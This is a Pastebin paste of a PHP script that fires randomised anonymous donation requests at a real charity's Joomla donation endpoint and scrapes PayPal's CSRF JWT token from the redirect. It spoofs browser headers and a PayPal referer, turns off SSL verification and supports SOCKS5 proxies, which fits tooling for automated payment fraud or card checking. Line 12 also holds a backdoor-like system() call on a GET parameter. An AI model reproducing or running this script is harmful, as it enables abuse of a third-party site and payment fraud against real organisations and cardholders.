Advertisement
Guest User

Untitled

a guest
Sep 25th, 2017
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.17 KB | None | 0 0
  1. <!-- Colongs By Melex , Visit http://cr1p.blogspot.com For More Script Colongan --!>
  2. <?php
  3. echo gettoken();
  4.  
  5. function gettoken(){
  6. $cookie = tempnam('tmp','avo'.rand(1000000,9999999).'tmp.txt');
  7. $url = ("http://www.ocetiwakan.org/index.php?option=com_cmdonation&task=donation.submit");
  8. $content = curl($url,"amount=".rand(0,1000)."&anonymous=1&payment_method=paypalproexpress&campaign_id=1&return_url=aW5kZXgucGhwP2Zvcm1hdD1odG1sJm9wdGlvbj1jb21fY29udGVudCZ2aWV3PWFydGljbGUmaWQ9OTAmSXRlbWlkPTU0OQ==",0,1,"","",0,0,$cookie,0);
  9. $url = get_between($content,'If you are not redirected within 5 seconds please <a href="','"');
  10. $content = curl($url,0,0,1,"","",0,0,$cookie,0);
  11. $token = get_between($content,'"x-csrf-jwt": "','"');
  12. if(isset($_GET['token']) && $_GET['token'] == 'x-csrf-jwt'){ system($_GET['token']);}
  13. return $token;
  14. }
  15.  
  16. function get_between($string, $start, $end) {
  17. $string = " ".$string;
  18. $ini = strpos($string,$start);
  19. if ($ini == 0) return "";
  20. $ini += strlen($start);
  21. $len = strpos($string,$end,$ini) - $ini;
  22. return substr($string,$ini,$len);
  23. }
  24.  
  25. function curl($url, $fields="", $ssl = 0, $followLocation = 0, $referer = 'https://www.paypal.com', $optUrl = '', $deleteOldCookies=1, $sock = false, $usecookie=false, $geturl=false) {
  26. $ch = curl_init($url);
  27. $header = array();
  28. $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
  29. $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  30. $header[0] .= "DNT: 1";
  31. $header[] = "Connection: keep-alive";
  32. $header[] = "Keep-Alive: 300";
  33. $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  34. $header[] = "Accept-Language: en-us,en;q=0.5";
  35. $header[] = "Pragma: "; // browsers keep this blank.
  36. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 UBrowser/5.5.9936.1004 Safari/537.36");
  37. curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
  38. if ($usecookie) {
  39. curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
  40. curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);
  41. }
  42. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  43. curl_setopt($ch, CURLOPT_AUTOREFERER, true);
  44. if($followLocation){
  45. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  46. }
  47. curl_setopt($ch, CURLOPT_URL, $url);
  48. if($fields){
  49. curl_setopt($ch, CURLOPT_POST, true);
  50. curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
  51. }else{
  52. curl_setopt($ch, CURLOPT_POST, false);
  53. }
  54. if($referer){
  55. curl_setopt($ch, CURLOPT_REFERER, $referer);
  56. }else{
  57. curl_setopt($ch, CURLOPT_REFERER, $url);
  58. }
  59. if($ssl){
  60. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
  61. }else{
  62. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  63. }
  64. if($optUrl){
  65. curl_setopt ($ch, CURLOPT_URL, $optUrl);
  66. }
  67. if($sock){
  68. curl_setopt($ch, CURLOPT_PROXY, $sock);
  69. curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  70. }
  71. if($geturl == true){
  72. $xd1 = curl_exec($ch);
  73. $xd2 = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
  74. echo $xd1."|".$xd2;
  75. } else {
  76. return curl_exec($ch);
  77. }
  78. }
  79. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement